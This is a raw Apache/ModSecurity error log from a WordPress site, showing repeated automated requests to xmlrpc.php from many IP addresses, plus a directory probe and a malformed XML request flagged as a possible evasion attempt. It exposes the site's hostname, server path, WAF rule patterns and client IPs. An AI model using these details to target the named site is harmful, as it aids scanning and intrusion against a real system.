[Tue Apr 14 05:35:23.688502 2026] [:error] [pid 19793:tid 19815] [client 37.128.148.215:43926] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1hmwGEQsZw9TkmIA4e7AAAANQ"]
[Tue Apr 14 05:41:03.337450 2026] [:error] [pid 19688:tid 19734] [client 158.69.220.86:42142] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1i74Hoi57o76xPstLBwAAAAEY"]
[Tue Apr 14 05:43:20.510103 2026] [:error] [pid 64393:tid 64406] [client 192.159.142.249:59860] [client 192.159.142.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.159.142.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1jeOClKltJhW50hKPTJgAAAQs"]
[Tue Apr 14 05:54:07.139190 2026] [:error] [pid 64393:tid 64415] [client 85.128.143.123:57452] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1l_-ClKltJhW50hKPXtgAAARQ"]
[Tue Apr 14 05:54:46.346519 2026] [:error] [pid 64393:tid 64405] [client 35.242.254.186:46202] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1mJuClKltJhW50hKPX5gAAAQo"]
[Tue Apr 14 05:58:29.330772 2026] [:error] [pid 19793:tid 19795] [client 167.172.55.225:33548] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1nBQGEQsZw9TkmIA4mngAAAMA"]
[Tue Apr 14 05:59:07.690040 2026] [:error] [pid 19793:tid 19807] [client 185.246.164.237:43198] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1nKwGEQsZw9TkmIA4msAAAAMw"]
[Tue Apr 14 06:01:59.754536 2026] [:error] [pid 19793:tid 19813] [client 157.245.42.243:46394] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1n1wGEQsZw9TkmIA4nugAAANI"]
[Tue Apr 14 06:05:58.862737 2026] [:error] [pid 64393:tid 64414] [client 104.37.191.206:43392] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1oxuClKltJhW50hKPd-AAAARM"]
[Tue Apr 14 06:12:22.221900 2026] [:error] [pid 64393:tid 64405] [client 128.140.11.209:51928] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1qRuClKltJhW50hKPhGAAAAQo"]
[Tue Apr 14 06:13:28.721985 2026] [:error] [pid 19793:tid 19800] [client 185.78.209.195:22421] [client 185.78.209.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.78.209.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1qiAGEQsZw9TkmIA4s9wAAAMU"]
[Tue Apr 14 06:18:47.567991 2026] [:error] [pid 19689:tid 19755] [client 64.118.142.87:35344] [client 64.118.142.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.118.142.87, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1rx5WU15arjG3aJyRnDAAAAIA"]
[Tue Apr 14 06:18:59.540983 2026] [:error] [pid 19793:tid 19796] [client 95.110.143.247:36186] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1r0wGEQsZw9TkmIA4u6wAAAME"]
[Tue Apr 14 06:24:30.159562 2026] [:error] [pid 19689:tid 19774] [client 85.128.143.151:35062] [client 85.128.143.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1tHpWU15arjG3aJyRo3wAAAJM"]
[Tue Apr 14 06:26:28.277961 2026] [:error] [pid 64393:tid 64405] [client 59.125.102.142:58384] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1tlOClKltJhW50hKPpsAAAAQo"]
[Tue Apr 14 06:29:01.162906 2026] [:error] [pid 33031:tid 33040] [client 62.169.28.251:56250] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1uLf4d7_j9IbSJ_rwBjwAAAQY"]
[Tue Apr 14 06:29:18.330749 2026] [:error] [pid 32943:tid 33025] [client 67.205.159.76:17566] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1uPgtqsULtpZz5NS16cAAAAJg"]
[Tue Apr 14 06:34:04.731887 2026] [:error] [pid 37226:tid 37236] [client 51.83.154.40:35506] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1vXJOA5-IQ0IVmQCprdQAAAUg"]
[Tue Apr 14 06:38:50.659553 2026] [:error] [pid 35630:tid 35707] [client 84.201.130.79:47580] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1wejer0pVFxOiOauWaoAAAAJU"]
[Tue Apr 14 06:39:03.853739 2026] [autoindex:error] [pid 35628:tid 35635] [client 185.82.72.136:20487] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 14 06:41:20.405438 2026] [:error] [pid 35628:tid 35651] [client 223.244.35.77:33241] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ad1xEOfPm-ozGuwCWXKVaAAAABM"]
[Tue Apr 14 06:44:25.353779 2026] [:error] [pid 35713:tid 35738] [client 212.47.74.48:41222] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1xya6-hhx6ZepqOSl-7wAAANY"]
[Tue Apr 14 06:45:17.787646 2026] [:error] [pid 35628:tid 35641] [client 82.197.70.185:59192] [client 82.197.70.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.197.70.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1x_efPm-ozGuwCWXKY3AAAAAk"]
[Tue Apr 14 06:46:28.479365 2026] [:error] [pid 35713:tid 35724] [client 23.98.148.92:60632] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1yRK6-hhx6ZepqOSmCZwAAAMg"]
[Tue Apr 14 07:08:58.435604 2026] [:error] [pid 35713:tid 35720] [client 83.96.201.169:48702] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad13iq6-hhx6ZepqOSmatAAAAMQ"]
[Tue Apr 14 07:12:31.452831 2026] [:error] [pid 37226:tid 37233] [client 167.99.182.49:58576] [client 167.99.182.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.182.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad14X5OA5-IQ0IVmQCqk-wAAAUU"]
[Tue Apr 14 07:12:31.454322 2026] [:error] [pid 37226:tid 37233] [client 167.99.182.49:58576] [client 167.99.182.49] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad14X5OA5-IQ0IVmQCqk-wAAAUU"]
[Tue Apr 14 07:12:31.455469 2026] [:error] [pid 37226:tid 37233] [client 167.99.182.49:58576] [client 167.99.182.49] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad14X5OA5-IQ0IVmQCqk-wAAAUU"]
[Tue Apr 14 07:17:17.497527 2026] [:error] [pid 35713:tid 35739] [client 192.99.70.8:35460] [client 192.99.70.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.99.70.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad15fa6-hhx6ZepqOSmekQAAANc"]
[Tue Apr 14 07:24:43.928556 2026] [:error] [pid 35713:tid 35716] [client 159.65.249.223:56454] [client 159.65.249.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.249.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad17O66-hhx6ZepqOSmiVAAAAMA"]
[Tue Apr 14 07:25:39.227862 2026] [:error] [pid 37226:tid 37242] [client 103.80.48.225:40588] [client 103.80.48.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.80.48.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad17c5OA5-IQ0IVmQCqpqgAAAU4"]
[Tue Apr 14 07:30:28.776725 2026] [:error] [pid 35713:tid 35733] [client 194.164.166.170:59176] [client 194.164.166.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad18lK6-hhx6ZepqOSmlRQAAANE"]
[Tue Apr 14 07:33:37.286307 2026] [:error] [pid 35628:tid 35645] [client 217.182.169.225:44272] [client 217.182.169.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.169.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad19UefPm-ozGuwCWXKhrwAAAA0"]
[Tue Apr 14 07:34:04.815829 2026] [:error] [pid 35628:tid 35649] [client 51.83.35.19:40340] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.35.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad19bOfPm-ozGuwCWXKhuQAAABE"]
[Tue Apr 14 07:35:00.966857 2026] [:error] [pid 37226:tid 37252] [client 217.216.48.92:43952] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad19pJOA5-IQ0IVmQCqtqAAAAVg"]
[Tue Apr 14 07:52:52.023677 2026] [:error] [pid 35713:tid 35722] [client 46.105.230.99:47723] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2B1K6-hhx6ZepqOSmxQgAAAMY"]
[Tue Apr 14 07:56:52.453456 2026] [:error] [pid 35629:tid 35677] [client 158.69.220.86:48434] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2CxDY8VahzC1YJBSi0WwAAAFI"]
[Tue Apr 14 07:57:44.278808 2026] [:error] [pid 35630:tid 35706] [client 172.233.16.48:42938] [client 172.233.16.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.233.16.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2C-Der0pVFxOiOauW5rQAAAJQ"]
[Tue Apr 14 08:03:45.080910 2026] [:error] [pid 37226:tid 37240] [client 217.154.40.49:40076] [client 217.154.40.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.40.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2EYZOA5-IQ0IVmQCq38wAAAUw"]
[Tue Apr 14 08:05:16.732302 2026] [:error] [pid 35630:tid 35706] [client 104.37.191.206:51344] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2EvDer0pVFxOiOauW7vQAAAJQ"]
[Tue Apr 14 08:09:13.589765 2026] [:error] [pid 37226:tid 37234] [client 162.43.85.120:56154] [client 162.43.85.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.43.85.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2FqZOA5-IQ0IVmQCq7bwAAAUY"]
[Tue Apr 14 08:13:08.267116 2026] [:error] [pid 37048:tid 37058] [client 217.182.82.42:60352] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2GlJ52Bo1OyzeXo_yNjgAAAQg"]
[Tue Apr 14 08:17:17.817834 2026] [:error] [pid 35630:tid 35707] [client 45.227.163.112:36622] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2HjTer0pVFxOiOauW-lgAAAJU"]
[Tue Apr 14 08:22:56.734507 2026] [:error] [pid 35713:tid 35730] [client 188.165.95.76:34832] [client 188.165.95.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.165.95.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2I4K6-hhx6ZepqOSnDoQAAAM4"]
[Tue Apr 14 08:25:50.808624 2026] [:error] [pid 35713:tid 35739] [client 144.91.66.223:50530] [client 144.91.66.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.66.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2Jjq6-hhx6ZepqOSnFkQAAANc"]
[Tue Apr 14 08:28:53.398393 2026] [:error] [pid 35630:tid 35709] [client 78.46.4.174:49524] [client 78.46.4.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.4.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2KRTer0pVFxOiOauXBDgAAAJc"]
[Tue Apr 14 08:32:54.231750 2026] [:error] [pid 35630:tid 35702] [client 144.91.86.124:52402] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2LNjer0pVFxOiOauXCmgAAAJA"]
[Tue Apr 14 08:34:50.860975 2026] [:error] [pid 37048:tid 37072] [client 150.95.26.37:35636] [client 150.95.26.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.26.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2Lqp52Bo1OyzeXo_yUlgAAARU"]
[Tue Apr 14 08:36:32.512820 2026] [:error] [pid 35628:tid 35640] [client 141.95.66.91:45920] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2MEOfPm-ozGuwCWXKs1AAAAAg"]
[Tue Apr 14 08:37:53.118411 2026] [:error] [pid 35713:tid 35727] [client 84.201.130.79:51764] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2MYa6-hhx6ZepqOSnMbwAAAMs"]
[Tue Apr 14 08:38:25.224798 2026] [:error] [pid 35713:tid 35737] [client 167.172.153.2:57158] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2Mga6-hhx6ZepqOSnMswAAANU"]
[Tue Apr 14 08:40:42.117938 2026] [:error] [pid 35713:tid 35724] [client 5.9.109.189:57578] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2NCq6-hhx6ZepqOSnN0gAAAMg"]
[Tue Apr 14 08:45:05.948624 2026] [:error] [pid 35713:tid 35732] [client 185.226.232.56:54420] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2OEa6-hhx6ZepqOSnQzgAAANA"]
[Tue Apr 14 09:01:46.148899 2026] [:error] [pid 35713:tid 35737] [client 172.237.101.239:50254] [client 172.237.101.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.237.101.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2R-q6-hhx6ZepqOSnYPQAAANU"]
[Tue Apr 14 09:06:02.802772 2026] [:error] [pid 35713:tid 35740] [client 143.244.166.58:46226] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2S-q6-hhx6ZepqOSnaLgAAANg"]
[Tue Apr 14 09:06:20.094682 2026] [:error] [pid 4902:tid 4907] [client 149.129.97.104:39404] [client 149.129.97.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.129.97.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2TDIv8vJvl9lGy39goVAAAAYM"]
